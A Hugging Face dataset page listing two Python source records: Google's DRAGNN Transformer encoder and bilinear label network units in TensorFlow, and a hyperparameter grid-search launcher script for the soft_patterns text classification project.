fumiyau/python_comments_free_500000 · Datasets at Hugging Face

f73253edbec788340fa63d923f7d8dd39807876f

24,052

py

Python

research/syntaxnet/dragnn/python/transformer_units.py

vincentcheny/models

afb1a59fc1bc792ac72d1a3e22e2469020529788

[ "Apache-2.0" ]

1

2019-09-11T09:41:11.000Z

research/syntaxnet/dragnn/python/transformer_units.py

vincentcheny/models

afb1a59fc1bc792ac72d1a3e22e2469020529788

[ "Apache-2.0" ]

null

research/syntaxnet/dragnn/python/transformer_units.py

vincentcheny/models

afb1a59fc1bc792ac72d1a3e22e2469020529788

[ "Apache-2.0" ]

null

# Copyright 2017 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Network units implementing the Transformer network (Vaswani et al. 2017). Heavily adapted from the tensor2tensor implementation of the Transformer, described in detail here: https://arxiv.org/abs/1706.03762. """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np import tensorflow as tf from dragnn.python import network_units def add_timing_signal_1d(x, min_timescale=1.0, max_timescale=1.0e4): """Adds a bunch of sinusoids of different frequencies to a Tensor. Each channel of the input Tensor is incremented by a sinusoid of a different frequency and phase. This allows attention to learn to use absolute and relative positions. Timing signals should be added to some precursors of both the query and the memory inputs to attention. The use of relative position is possible because sin(x+y) and cos(x+y) can be expressed in terms of y, sin(x) and cos(x). In particular, we use a geometric sequence of timescales starting with min_timescale and ending with max_timescale. The number of different timescales is equal to channels / 2. For each timescale, we generate the two sinusoidal signals sin(timestep/timescale) and cos(timestep/timescale). All of these sinusoids are concatenated in the channels dimension. Args: x: a Tensor with shape [batch, length, channels] min_timescale: a float max_timescale: a float Returns: a Tensor the same shape as x. """ length = tf.shape(x)[1] channels = tf.shape(x)[2] pos = tf.to_float(tf.range(length)) num_timescales = channels // 2 log_timescale_increment = ( np.log(float(max_timescale) / float(min_timescale)) / (tf.to_float(num_timescales) - 1)) inv_timescales = min_timescale * tf.exp( tf.to_float(tf.range(num_timescales)) * -log_timescale_increment) scaled_time = tf.expand_dims(pos, 1) * tf.expand_dims(inv_timescales, 0) signal = tf.concat([tf.sin(scaled_time), tf.cos(scaled_time)], axis=1) signal = tf.pad(signal, [[0, 0], [0, tf.mod(channels, 2)]]) signal = tf.reshape(signal, [1, length, channels]) return x + signal def split_last_dimension(x, n): """Partitions x so that the last dimension becomes two dimensions. The first of these two dimensions is n. Args: x: a Tensor with shape [..., m] n: an integer. Returns: a Tensor with shape [..., n, m/n] """ old_shape = x.get_shape().dims last = old_shape[-1] new_shape = old_shape[:-1] + [n] + [last // n if last else None] ret = tf.reshape(x, tf.concat([tf.shape(x)[:-1], [n, -1]], 0)) ret.set_shape(new_shape) return ret def combine_last_two_dimensions(x): """Reshape x so that the last two dimensions become one. Args: x: a Tensor with shape [..., a, b] Returns: a Tensor with shape [..., ab] """ old_shape = x.get_shape().dims a, b = old_shape[-2:] new_shape = old_shape[:-2] + [a * b if a and b else None] ret = tf.reshape(x, tf.concat([tf.shape(x)[:-2], [-1]], 0)) ret.set_shape(new_shape) return ret def split_heads(x, num_heads): """Splits channels (dimension 3) into multiple heads (becomes dimension 1). Args: x: a Tensor with shape [batch, length, channels] num_heads: an integer Returns: a Tensor with shape [batch, num_heads, length, channels / num_heads] """ return tf.transpose(split_last_dimension(x, num_heads), [0, 2, 1, 3]) def combine_heads(x): """Performs the inverse of split_heads. Args: x: a Tensor with shape [batch, num_heads, length, channels / num_heads] Returns: a Tensor with shape [batch, length, channels] """ return combine_last_two_dimensions(tf.transpose(x, [0, 2, 1, 3])) def compute_padding_mask(lengths): """Computes an additive mask for padding. Given the non-padded sequence lengths for the batch, computes a mask that will send padding attention to 0 when added to logits before applying a softmax. Args: lengths: a Tensor containing the sequence length of each batch element Returns: A Tensor of shape [batch_size, 1, 1, max_len] with zeros in non-padding entries and -1e9 in padding entries. """ lengths = tf.reshape(lengths, [-1]) mask = tf.sequence_mask(lengths) # This will be used as an additive mask, so we want the inverse of the mask # produced by tf.sequence_mask. inv_mask = tf.to_float(tf.logical_not(mask)) mem_padding = inv_mask * -1e9 return tf.expand_dims(tf.expand_dims(mem_padding, 1), 1) def dot_product_attention(queries, keys, values, dropout_keep_rate, bias=None): """Computes dot-product attention. Args: queries: a Tensor with shape [batch, heads, seq_len, depth_keys] keys: a Tensor with shape [batch, heads, seq_len, depth_keys] values: a Tensor with shape [batch, heads, seq_len, depth_values] dropout_keep_rate: dropout proportion of units to keep bias: A bias to add before applying the softmax, or None. This can be used for masking padding in the batch. Returns: A Tensor with shape [batch, heads, seq_len, depth_values]. """ # [batch, num_heads, seq_len, seq_len] logits = tf.matmul(queries, keys, transpose_b=True) if bias is not None: logits += bias attn_weights = tf.nn.softmax(logits) # Dropping out the attention links for each of the heads attn_weights = network_units.maybe_apply_dropout(attn_weights, dropout_keep_rate, False) return tf.matmul(attn_weights, values) def residual(old_input, new_input, dropout_keep_rate, layer_norm): """Residual layer combining old_input and new_input. Computes old_input + dropout(new_input) if layer_norm is None; otherwise: layer_norm(old_input + dropout(new_input)). Args: old_input: old float32 Tensor input to residual layer new_input: new float32 Tensor input to residual layer dropout_keep_rate: dropout proportion of units to keep layer_norm: network_units.LayerNorm to apply to residual output, or None Returns: float32 Tensor output of residual layer. """ res_sum = old_input + network_units.maybe_apply_dropout(new_input, dropout_keep_rate, False) return layer_norm.normalize(res_sum) if layer_norm else res_sum def mlp(component, input_tensor, dropout_keep_rate, depth): """Feed the input through an MLP. Each layer except the last is followed by a ReLU activation and dropout. Args: component: the DRAGNN Component containing parameters for the MLP input_tensor: the float32 Tensor input to the MLP. dropout_keep_rate: dropout proportion of units to keep depth: depth of the MLP. Returns: the float32 output Tensor """ for i in range(depth): ff_weights = component.get_variable('ff_weights_%d' % i) input_tensor = tf.nn.conv2d(input_tensor, ff_weights, [1, 1, 1, 1], padding='SAME') # Apply ReLU and dropout to all but the last layer if i < depth - 1: input_tensor = tf.nn.relu(input_tensor) input_tensor = network_units.maybe_apply_dropout(input_tensor, dropout_keep_rate, False) return input_tensor class TransformerEncoderNetwork(network_units.NetworkUnitInterface): """Implementation of the Transformer network encoder.""" def __init__(self, component): """Initializes parameters for this Transformer unit. Args: component: parent ComponentBuilderBase object. Parameters used to construct the network: num_layers: number of transformer layers (attention + MLP) hidden_size: size of hidden layers in MLPs filter_size: filter width for each attention head num_heads: number of attention heads residual_dropout: dropout keep rate for residual layers attention_dropout: dropout keep rate for attention weights mlp_dropout: dropout keep rate for mlp layers initialization: initialization scheme to use for model parameters bias_init: initial value for bias parameters scale_attention: whether to scale attention parameters by filter_size^-0.5 layer_norm_residuals: whether to perform layer normalization on residual layers timing_signal: whether to add a position-wise timing signal to the input kernel: kernel width in middle MLP layers mlp_layers: number of MLP layers. Must be >= 2. Raises: ValueError: if mlp_layers < 2. The input depth of the first layer is inferred from the total concatenated size of the input features, minus 1 to account for the sequence lengths. Hyperparameters used: dropout_rate: The probability that an input is not dropped. This is the default when the |dropout_keep_prob| parameter is unset. """ super(TransformerEncoderNetwork, self).__init__(component) default_dropout_rate = component.master.hyperparams.dropout_rate self._attrs = network_units.get_attrs_with_defaults( component.spec.network_unit.parameters, defaults={ 'num_layers': 4, 'hidden_size': 256, 'filter_size': 64, 'num_heads': 8, 'residual_drop': default_dropout_rate, 'attention_drop': default_dropout_rate, 'mlp_drop': default_dropout_rate, 'initialization': 'xavier', 'bias_init': 0.001, 'scale_attention': True, 'layer_norm_residuals': True, 'timing_signal': True, 'kernel': 1, 'mlp_layers': 2}) self._num_layers = self._attrs['num_layers'] self._hidden_size = self._attrs['hidden_size'] self._filter_size = self._attrs['filter_size'] self._num_heads = self._attrs['num_heads'] self._residual_dropout = self._attrs['residual_drop'] self._attention_dropout = self._attrs['attention_drop'] self._mlp_dropout = self._attrs['mlp_drop'] self._initialization = self._attrs['initialization'] self._bias_init = self._attrs['bias_init'] self._scale_attn = self._attrs['scale_attention'] self._layer_norm_res = self._attrs['layer_norm_residuals'] self._timing_signal = self._attrs['timing_signal'] self._kernel = self._attrs['kernel'] self._mlp_depth = self._attrs['mlp_layers'] if self._mlp_depth < 2: raise ValueError('TransformerEncoderNetwork needs mlp_layers >= 2') self._combined_filters = self._num_heads * self._filter_size self._weights = [] self._biases = [] self._layer_norms = {} # Hacky: one dimension comes from the lengths input; subtract it. self._concatenated_input_dim -= 1 # Initial projection of inputs, this is mainly to project input down to the # right size for residual layers proj_shape = [1, 1, self._concatenated_input_dim, self._combined_filters] self._weights.append( network_units.add_var_initialized('init_proj', proj_shape, self._initialization)) self._biases.append(tf.get_variable('init_bias', self._combined_filters, initializer=tf.constant_initializer( self._bias_init), dtype=tf.float32)) for i in range(self._num_layers): with tf.variable_scope('transform_%d' % i): # Attention weights: 3 * self.combined_filters = (q, k, v) # We assume that q, k and v all have the same dimension attn_shape = [1, 1, self._combined_filters, 3 * self._combined_filters] self._weights.append( network_units.add_var_initialized('attn_weights', attn_shape, self._initialization)) # Attention final projection weights proj_shape = [1, 1, self._combined_filters, self._combined_filters] self._weights.append( network_units.add_var_initialized('proj_weights', proj_shape, self._initialization)) # MLP weights with tf.variable_scope('mlp'): ff_shape = [1, 1, self._combined_filters, self._hidden_size] self._weights.append( network_units.add_var_initialized('ff_weights_0', ff_shape, self._initialization)) ff_shape = [1, self._kernel, self._hidden_size, self._hidden_size] for j in range(1, self._mlp_depth - 1): self._weights.append( network_units.add_var_initialized('ff_weights_%d' % j, ff_shape, self._initialization)) ff_shape = [1, 1, self._hidden_size, self._combined_filters] self._weights.append( network_units.add_var_initialized('ff_weights_%d' % (self._mlp_depth - 1), ff_shape, self._initialization)) # Layer normalization for residual layers if self._layer_norm_res: attn_layer_norm = network_units.LayerNorm(component, 'attn_layer_norm_%d' % i, self._combined_filters, tf.float32) self._layer_norms['attn_layer_norm_%d' % i] = attn_layer_norm ff_layer_norm = network_units.LayerNorm(component, 'ff_layer_norm_%d' % i, self._combined_filters, tf.float32) self._layer_norms['ff_layer_norm_%d' % i] = ff_layer_norm # Layer norm parameters are not added to self._weights, # which means that they are not l2 regularized self._params.extend(attn_layer_norm.params + ff_layer_norm.params) self._params.extend(self._weights) self._params.extend(self._biases) self._regularized_weights.extend(self._weights) self._layers.append( network_units.Layer(component, name='transformer_output', dim=self._combined_filters)) def create(self, fixed_embeddings, linked_embeddings, context_tensor_arrays, attention_tensor, during_training, stride=None): """Requires |stride|; otherwise see base class.""" del context_tensor_arrays, attention_tensor if stride is None: raise RuntimeError("TransformerEncoderNetwork needs 'stride' and must be " "called in the bulk feature extractor component.") lengths = network_units.lookup_named_tensor('lengths', linked_embeddings) lengths_s = tf.to_int32(tf.squeeze(lengths.tensor, [1])) num_steps = tf.reduce_max(lengths_s) in_tensor = network_units.lookup_named_tensor('features', linked_embeddings) input_tensor = tf.reshape(in_tensor.tensor, [stride, num_steps, -1]) if self._timing_signal: input_tensor = add_timing_signal_1d(input_tensor) # Adds a dimension for conv2d input_tensor = tf.expand_dims(input_tensor, 1) # For masking padding in attention mask = compute_padding_mask(lengths_s) conv = tf.nn.conv2d(input_tensor, self._component.get_variable('init_proj'), [1, 1, 1, 1], padding='SAME') conv = tf.nn.bias_add(conv, self._component.get_variable('init_bias')) for i in range(self._num_layers): with tf.variable_scope('transform_%d' % i, reuse=True): attn_weights = self._component.get_variable('attn_weights') attn_combined = tf.nn.conv2d(conv, attn_weights, [1, 1, 1, 1], padding='SAME') attn_combined = tf.squeeze(attn_combined, 1) # Splits combined projection into queries, keys, and values queries, keys, values = tf.split(attn_combined, [self._combined_filters]*3, axis=2) # Splits each of queries, keys, values into attention heads queries = split_heads(queries, self._num_heads) keys = split_heads(keys, self._num_heads) values = split_heads(values, self._num_heads) if self._scale_attn: queries *= self._filter_size**-0.5 # Performs dot product attention and concatenates the resulting heads attended = dot_product_attention(queries, keys, values, self._attention_dropout, mask) attended = combine_heads(attended) # Projects combined heads attended = tf.expand_dims(attended, 1) proj = tf.nn.conv2d(attended, self._component.get_variable('proj_weights'), [1, 1, 1, 1], padding='SAME') # Residual connection between input and attended input attn_layer_norm_params = None if self._layer_norm_res: attn_layer_norm_params = self._layer_norms['attn_layer_norm_%d' % i] proj_res = residual(conv, proj, self._residual_dropout, attn_layer_norm_params) # Feed forward with tf.variable_scope('mlp'): ff = mlp(self._component, proj_res, self._mlp_dropout, self._mlp_depth) # Residual connection between attended input and feed forward layers ff_layer_norm_params = None if self._layer_norm_res: ff_layer_norm_params = self._layer_norms['ff_layer_norm_%d' % i] conv = residual(proj_res, ff, self._residual_dropout, ff_layer_norm_params) return [tf.reshape(conv, [-1, self._combined_filters], name='reshape_activations')] class PairwiseBilinearLabelNetwork(network_units.NetworkUnitInterface): r"""Network unit that computes pairwise bilinear label scores. Given source and target representations for each token, this network unit computes bilinear scores for each label for each of the N^2 combinations of source and target tokens, rather than for only N already-computed source/target pairs (as is performed by the biaffine_units). The output is suitable as input to e.g. the heads_labels transition system. Specifically, a weights tensor W called `bilinear' is used to compute bilinear scores B for input tensors S and T: B_{bnml} = \sum_{i,j} S_{bni} W_{ilj} T{bmj} for batches b, steps n and m and labels l. Parameters: num_labels: The number of dependency labels, L. Features: sources: [B * N, S] matrix of batched activations for source tokens. targets: [B * N, T] matrix of batched activations for target tokens. Layers: bilinear_scores: [B * N, N * L] matrix where vector b*N*N*L+t contains per-label scores for all N possible arcs from token t in batch b. """ def __init__(self, component): super(PairwiseBilinearLabelNetwork, self).__init__(component) parameters = component.spec.network_unit.parameters self._num_labels = int(parameters['num_labels']) self._source_dim = self._linked_feature_dims['sources'] self._target_dim = self._linked_feature_dims['targets'] self._weights = [] self._weights.append( network_units.add_var_initialized('bilinear', [self._source_dim, self._num_labels, self._target_dim], 'xavier')) self._params.extend(self._weights) self._regularized_weights.extend(self._weights) self._layers.append(network_units.Layer(component, name='bilinear_scores', dim=self._num_labels)) def create(self, fixed_embeddings, linked_embeddings, context_tensor_arrays, attention_tensor, during_training, stride=None): """Requires |stride|; otherwise see base class.""" del context_tensor_arrays, attention_tensor if stride is None: raise RuntimeError("PairwiseBilinearLabelNetwork needs 'stride' and must " "be called in a bulk component.") sources = network_units.lookup_named_tensor('sources', linked_embeddings) sources_tensor = tf.reshape(sources.tensor, [stride, -1, self._source_dim]) targets = network_units.lookup_named_tensor('targets', linked_embeddings) targets_tensor = tf.reshape(targets.tensor, [stride, -1, self._target_dim]) # Dimensions: source_dim x num_labels x target_dim bilinear_params = self._component.get_variable('bilinear') # Ensures that num_steps is the same for both inputs num_steps = tf.shape(sources_tensor)[1] with tf.control_dependencies([tf.assert_equal(num_steps, tf.shape(targets_tensor)[1], name='num_steps_mismatch')]): # Dimensions: # (batch_size*num_steps x source_dim) * # (source_dim x num_labels*target_dim) # = (batch_size*num_steps x num_labels*target_dim) lin = tf.matmul(tf.reshape(sources_tensor, [-1, self._source_dim]), tf.reshape(bilinear_params, [self._source_dim, -1])) # (batch_size x num_steps*num_labels x target_dim) * # (batch_size x num_steps x target_dim)^T # = (batch_size x num_steps*num_labels x num_steps) bilin = tf.matmul( tf.reshape(lin, [-1, num_steps*self._num_labels, self._target_dim]), targets_tensor, transpose_b=True) # (batch_size x num_steps*num_labels x num_steps) -> # (batch_size x num_steps x num_steps*num_labels) scores = tf.transpose(bilin, [0, 2, 1]) return [tf.reshape(scores, [-1, num_steps*self._num_labels], name='reshape_activations')]

41.11453

81

0.61866

from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np import tensorflow as tf from dragnn.python import network_units def add_timing_signal_1d(x, min_timescale=1.0, max_timescale=1.0e4): length = tf.shape(x)[1] channels = tf.shape(x)[2] pos = tf.to_float(tf.range(length)) num_timescales = channels // 2 log_timescale_increment = ( np.log(float(max_timescale) / float(min_timescale)) / (tf.to_float(num_timescales) - 1)) inv_timescales = min_timescale * tf.exp( tf.to_float(tf.range(num_timescales)) * -log_timescale_increment) scaled_time = tf.expand_dims(pos, 1) * tf.expand_dims(inv_timescales, 0) signal = tf.concat([tf.sin(scaled_time), tf.cos(scaled_time)], axis=1) signal = tf.pad(signal, [[0, 0], [0, tf.mod(channels, 2)]]) signal = tf.reshape(signal, [1, length, channels]) return x + signal def split_last_dimension(x, n): old_shape = x.get_shape().dims last = old_shape[-1] new_shape = old_shape[:-1] + [n] + [last // n if last else None] ret = tf.reshape(x, tf.concat([tf.shape(x)[:-1], [n, -1]], 0)) ret.set_shape(new_shape) return ret def combine_last_two_dimensions(x): old_shape = x.get_shape().dims a, b = old_shape[-2:] new_shape = old_shape[:-2] + [a * b if a and b else None] ret = tf.reshape(x, tf.concat([tf.shape(x)[:-2], [-1]], 0)) ret.set_shape(new_shape) return ret def split_heads(x, num_heads): return tf.transpose(split_last_dimension(x, num_heads), [0, 2, 1, 3]) def combine_heads(x): return combine_last_two_dimensions(tf.transpose(x, [0, 2, 1, 3])) def compute_padding_mask(lengths): lengths = tf.reshape(lengths, [-1]) mask = tf.sequence_mask(lengths) inv_mask = tf.to_float(tf.logical_not(mask)) mem_padding = inv_mask * -1e9 return tf.expand_dims(tf.expand_dims(mem_padding, 1), 1) def dot_product_attention(queries, keys, values, dropout_keep_rate, bias=None): logits = tf.matmul(queries, keys, transpose_b=True) if bias is not None: logits += bias attn_weights = tf.nn.softmax(logits) attn_weights = network_units.maybe_apply_dropout(attn_weights, dropout_keep_rate, False) return tf.matmul(attn_weights, values) def residual(old_input, new_input, dropout_keep_rate, layer_norm): res_sum = old_input + network_units.maybe_apply_dropout(new_input, dropout_keep_rate, False) return layer_norm.normalize(res_sum) if layer_norm else res_sum def mlp(component, input_tensor, dropout_keep_rate, depth): for i in range(depth): ff_weights = component.get_variable('ff_weights_%d' % i) input_tensor = tf.nn.conv2d(input_tensor, ff_weights, [1, 1, 1, 1], padding='SAME') if i < depth - 1: input_tensor = tf.nn.relu(input_tensor) input_tensor = network_units.maybe_apply_dropout(input_tensor, dropout_keep_rate, False) return input_tensor class TransformerEncoderNetwork(network_units.NetworkUnitInterface): def __init__(self, component): super(TransformerEncoderNetwork, self).__init__(component) default_dropout_rate = component.master.hyperparams.dropout_rate self._attrs = network_units.get_attrs_with_defaults( component.spec.network_unit.parameters, defaults={ 'num_layers': 4, 'hidden_size': 256, 'filter_size': 64, 'num_heads': 8, 'residual_drop': default_dropout_rate, 'attention_drop': default_dropout_rate, 'mlp_drop': default_dropout_rate, 'initialization': 'xavier', 'bias_init': 0.001, 'scale_attention': True, 'layer_norm_residuals': True, 'timing_signal': True, 'kernel': 1, 'mlp_layers': 2}) self._num_layers = self._attrs['num_layers'] self._hidden_size = self._attrs['hidden_size'] self._filter_size = self._attrs['filter_size'] self._num_heads = self._attrs['num_heads'] self._residual_dropout = self._attrs['residual_drop'] self._attention_dropout = self._attrs['attention_drop'] self._mlp_dropout = self._attrs['mlp_drop'] self._initialization = self._attrs['initialization'] self._bias_init = self._attrs['bias_init'] self._scale_attn = self._attrs['scale_attention'] self._layer_norm_res = self._attrs['layer_norm_residuals'] self._timing_signal = self._attrs['timing_signal'] self._kernel = self._attrs['kernel'] self._mlp_depth = self._attrs['mlp_layers'] if self._mlp_depth < 2: raise ValueError('TransformerEncoderNetwork needs mlp_layers >= 2') self._combined_filters = self._num_heads * self._filter_size self._weights = [] self._biases = [] self._layer_norms = {} self._concatenated_input_dim -= 1 proj_shape = [1, 1, self._concatenated_input_dim, self._combined_filters] self._weights.append( network_units.add_var_initialized('init_proj', proj_shape, self._initialization)) self._biases.append(tf.get_variable('init_bias', self._combined_filters, initializer=tf.constant_initializer( self._bias_init), dtype=tf.float32)) for i in range(self._num_layers): with tf.variable_scope('transform_%d' % i): attn_shape = [1, 1, self._combined_filters, 3 * self._combined_filters] self._weights.append( network_units.add_var_initialized('attn_weights', attn_shape, self._initialization)) proj_shape = [1, 1, self._combined_filters, self._combined_filters] self._weights.append( network_units.add_var_initialized('proj_weights', proj_shape, self._initialization)) with tf.variable_scope('mlp'): ff_shape = [1, 1, self._combined_filters, self._hidden_size] self._weights.append( network_units.add_var_initialized('ff_weights_0', ff_shape, self._initialization)) ff_shape = [1, self._kernel, self._hidden_size, self._hidden_size] for j in range(1, self._mlp_depth - 1): self._weights.append( network_units.add_var_initialized('ff_weights_%d' % j, ff_shape, self._initialization)) ff_shape = [1, 1, self._hidden_size, self._combined_filters] self._weights.append( network_units.add_var_initialized('ff_weights_%d' % (self._mlp_depth - 1), ff_shape, self._initialization)) if self._layer_norm_res: attn_layer_norm = network_units.LayerNorm(component, 'attn_layer_norm_%d' % i, self._combined_filters, tf.float32) self._layer_norms['attn_layer_norm_%d' % i] = attn_layer_norm ff_layer_norm = network_units.LayerNorm(component, 'ff_layer_norm_%d' % i, self._combined_filters, tf.float32) self._layer_norms['ff_layer_norm_%d' % i] = ff_layer_norm self._params.extend(attn_layer_norm.params + ff_layer_norm.params) self._params.extend(self._weights) self._params.extend(self._biases) self._regularized_weights.extend(self._weights) self._layers.append( network_units.Layer(component, name='transformer_output', dim=self._combined_filters)) def create(self, fixed_embeddings, linked_embeddings, context_tensor_arrays, attention_tensor, during_training, stride=None): del context_tensor_arrays, attention_tensor if stride is None: raise RuntimeError("TransformerEncoderNetwork needs 'stride' and must be " "called in the bulk feature extractor component.") lengths = network_units.lookup_named_tensor('lengths', linked_embeddings) lengths_s = tf.to_int32(tf.squeeze(lengths.tensor, [1])) num_steps = tf.reduce_max(lengths_s) in_tensor = network_units.lookup_named_tensor('features', linked_embeddings) input_tensor = tf.reshape(in_tensor.tensor, [stride, num_steps, -1]) if self._timing_signal: input_tensor = add_timing_signal_1d(input_tensor) input_tensor = tf.expand_dims(input_tensor, 1) mask = compute_padding_mask(lengths_s) conv = tf.nn.conv2d(input_tensor, self._component.get_variable('init_proj'), [1, 1, 1, 1], padding='SAME') conv = tf.nn.bias_add(conv, self._component.get_variable('init_bias')) for i in range(self._num_layers): with tf.variable_scope('transform_%d' % i, reuse=True): attn_weights = self._component.get_variable('attn_weights') attn_combined = tf.nn.conv2d(conv, attn_weights, [1, 1, 1, 1], padding='SAME') attn_combined = tf.squeeze(attn_combined, 1) queries, keys, values = tf.split(attn_combined, [self._combined_filters]*3, axis=2) queries = split_heads(queries, self._num_heads) keys = split_heads(keys, self._num_heads) values = split_heads(values, self._num_heads) if self._scale_attn: queries *= self._filter_size**-0.5 attended = dot_product_attention(queries, keys, values, self._attention_dropout, mask) attended = combine_heads(attended) attended = tf.expand_dims(attended, 1) proj = tf.nn.conv2d(attended, self._component.get_variable('proj_weights'), [1, 1, 1, 1], padding='SAME') attn_layer_norm_params = None if self._layer_norm_res: attn_layer_norm_params = self._layer_norms['attn_layer_norm_%d' % i] proj_res = residual(conv, proj, self._residual_dropout, attn_layer_norm_params) with tf.variable_scope('mlp'): ff = mlp(self._component, proj_res, self._mlp_dropout, self._mlp_depth) ff_layer_norm_params = None if self._layer_norm_res: ff_layer_norm_params = self._layer_norms['ff_layer_norm_%d' % i] conv = residual(proj_res, ff, self._residual_dropout, ff_layer_norm_params) return [tf.reshape(conv, [-1, self._combined_filters], name='reshape_activations')] class PairwiseBilinearLabelNetwork(network_units.NetworkUnitInterface): def __init__(self, component): super(PairwiseBilinearLabelNetwork, self).__init__(component) parameters = component.spec.network_unit.parameters self._num_labels = int(parameters['num_labels']) self._source_dim = self._linked_feature_dims['sources'] self._target_dim = self._linked_feature_dims['targets'] self._weights = [] self._weights.append( network_units.add_var_initialized('bilinear', [self._source_dim, self._num_labels, self._target_dim], 'xavier')) self._params.extend(self._weights) self._regularized_weights.extend(self._weights) self._layers.append(network_units.Layer(component, name='bilinear_scores', dim=self._num_labels)) def create(self, fixed_embeddings, linked_embeddings, context_tensor_arrays, attention_tensor, during_training, stride=None): del context_tensor_arrays, attention_tensor if stride is None: raise RuntimeError("PairwiseBilinearLabelNetwork needs 'stride' and must " "be called in a bulk component.") sources = network_units.lookup_named_tensor('sources', linked_embeddings) sources_tensor = tf.reshape(sources.tensor, [stride, -1, self._source_dim]) targets = network_units.lookup_named_tensor('targets', linked_embeddings) targets_tensor = tf.reshape(targets.tensor, [stride, -1, self._target_dim]) bilinear_params = self._component.get_variable('bilinear') num_steps = tf.shape(sources_tensor)[1] with tf.control_dependencies([tf.assert_equal(num_steps, tf.shape(targets_tensor)[1], name='num_steps_mismatch')]): lin = tf.matmul(tf.reshape(sources_tensor, [-1, self._source_dim]), tf.reshape(bilinear_params, [self._source_dim, -1])) bilin = tf.matmul( tf.reshape(lin, [-1, num_steps*self._num_labels, self._target_dim]), targets_tensor, transpose_b=True) scores = tf.transpose(bilin, [0, 2, 1]) return [tf.reshape(scores, [-1, num_steps*self._num_labels], name='reshape_activations')]

true

f732540c032f69259ef86b76fd0153508799d6e2

4,475

py

Python

scripts/grid_search.py

shamirtowsif/soft_patterns

bd0b3d4cb46e49ad36f39b3a1d6f369da7e8ad6e

[ "MIT" ]

58

2018-05-17T03:48:05.000Z

2020-12-20T20:39:55.000Z

scripts/grid_search.py

shamirtowsif/soft_patterns

bd0b3d4cb46e49ad36f39b3a1d6f369da7e8ad6e

[ "MIT" ]

5

2018-05-17T01:58:08.000Z

2020-12-16T18:38:05.000Z

scripts/grid_search.py

shamirtowsif/soft_patterns

bd0b3d4cb46e49ad36f39b3a1d6f369da7e8ad6e

[ "MIT" ]

10

2018-06-08T20:18:20.000Z

2021-06-06T17:44:38.000Z

#!/usr/bin/env python import sys import os import os.path import copy import subprocess from operator import mul from random import shuffle from operator import mul from functools import reduce dirs=['stanford_sentiment_binary', 'amazon_reviews', 'ROC_stories', 'stanford_sentiment_binary_100', 'stanford_sentiment_binary_500', 'stanford_sentiment_binary_1000', 'stanford_sentiment_binary_2500', 'amazon_reviews_100', 'amazon_reviews_500', 'amazon_reviews_1000', 'amazon_reviews_2500', 'amazon_reviews_5000', 'amazon_reviews_10000'] n_dirs=len(dirs) WORK = os.environ['HOME'] model_dir = WORK + "/work/soft_patterns/" resource_dir = WORK + "/resources/" def main(args): gpu = None starting_point = 0 indices_to_run = None if len(args) < 4: print("Usage:", args[0], "<dataset> <file name> <n instsances> <gpu (optional)> <starting point = 0> <specific instances to run>") print("Dirs are:") for i in range(n_dirs): print("{}: {}".format(i, dirs[i])) return -1 elif len(args) > 4: gpu = args[4] if len(args) > 5: starting_point = int(args[5]) if len(args) > 6: indices_to_run = set([int(x) for x in args[6].split(",")]) ddir = dirs[int(args[1])] data_dir = resource_dir + "/text_cat/" + ddir n_instances = int(args[3]) file_name = args[2] name = ddir+'_'+".".join(file_name.split("/")[-1].split(".")[:-1]) with open(file_name) as ifh: all_args = [l.rstrip().split() for l in ifh] all_args = [l if len(l) > 1 else [l[0], ''] for l in all_args] n = reduce(mul, [len(x)-1 for x in all_args], 1) print(all_args) print("Got {} different configurations".format(n)) if indices_to_run is None: indices_to_run = x = [i for i in range(starting_point, n)] shuffle(indices_to_run) indices_to_run = set(indices_to_run[:n_instances]) # print("In2run:", indices_to_run) recursive_run_code(all_args, 0, 0, [], data_dir, indices_to_run, name, gpu) def recursive_run_code(all_args, curr_param_index, curr_index, curr_values, data_dir, indices_to_run, name, gpu): if curr_param_index == len(all_args): curr_index += 1 if curr_index in indices_to_run: run_code(all_args, curr_values, data_dir, name, curr_index, gpu) # else: # print(curr_index, "failed") else: for j in all_args[curr_param_index][1:]: curr_values_tmp = copy.deepcopy(curr_values) curr_values_tmp.append(j) curr_index = recursive_run_code(all_args, curr_param_index + 1, curr_index, curr_values_tmp, data_dir, indices_to_run, name, gpu) return curr_index def run_code(all_args, curr_values, data_dir, name, curr_index, gpu): # print("Running", name, "with args", curr_values) git_tag = os.popen('git log | head -n 1 | cut -d " " -f2 | cut -b -7').read().rstrip() s = name + "." + str(curr_index) odir = model_dir + "/output_"+s args = ['python', '-u', 'soft_patterns.py', "--td", data_dir + "/train.data", "--tl", data_dir + "/train.labels", "--vd", data_dir + "/dev.data", "--vl", data_dir + "/dev.labels", "--model_save_dir", odir] params = [[all_args[i][0], curr_values[i]] for i in range(len(all_args))] # print("p is "+str(params)) params = [item for sublist in params for item in sublist] args += params # print(args) HOSTNAME = os.environ['HOSTNAME'] if 'HOSTNAME' in os.environ else '' cmd = " ".join(args) if HOSTNAME.endswith('.stampede2.tacc.utexas.edu'): f = gen_cluster_file(s, cmd) os.system('sbatch' + f) else: if gpu != None: os.environ['CUDA_VISIBLE_DEVICES'] = gpu cmd += ' -g' print(cmd) of=model_dir+'logs/'+s + '_' + str(git_tag) + ".out" if os.path.isfile(of): print("Output file "+of+" found. Continuing") else: os.system(cmd+" |& tee "+of) def gen_cluster_file(s, com): f = model_dir + "/runs/"+s print("Writing", f) with open(f, 'w') as ofh: ofh.write("#!/usr/bin/env bash\n") ofh.write("#SBATCH -J "+s+"\n") ofh.write("#SBATCH -o " + model_dir + "/logs/" + s + '_' + str(git_tag) + ".out\n") ofh.write("#SBATCH -p normal\n") # specify queue ofh.write("#SBATCH -N 1\n") # Number of nodes, not cores (16 cores/node) ofh.write("#SBATCH -n 1\n") ofh.write("#SBATCH -t 48:00:00\n") # max time ofh.write("#SBATCH --mail-user=roysch@cs.washington.edu\n") ofh.write("#SBATCH --mail-type=ALL\n") ofh.write("#SBATCH -A TG-DBS110003 # project/allocation number;\n") ofh.write("source activate torch3\n") ofh.write("mpirun " + com + "\n") return f if __name__ == "__main__": sys.exit(main(sys.argv))

31.076389

132

0.667486

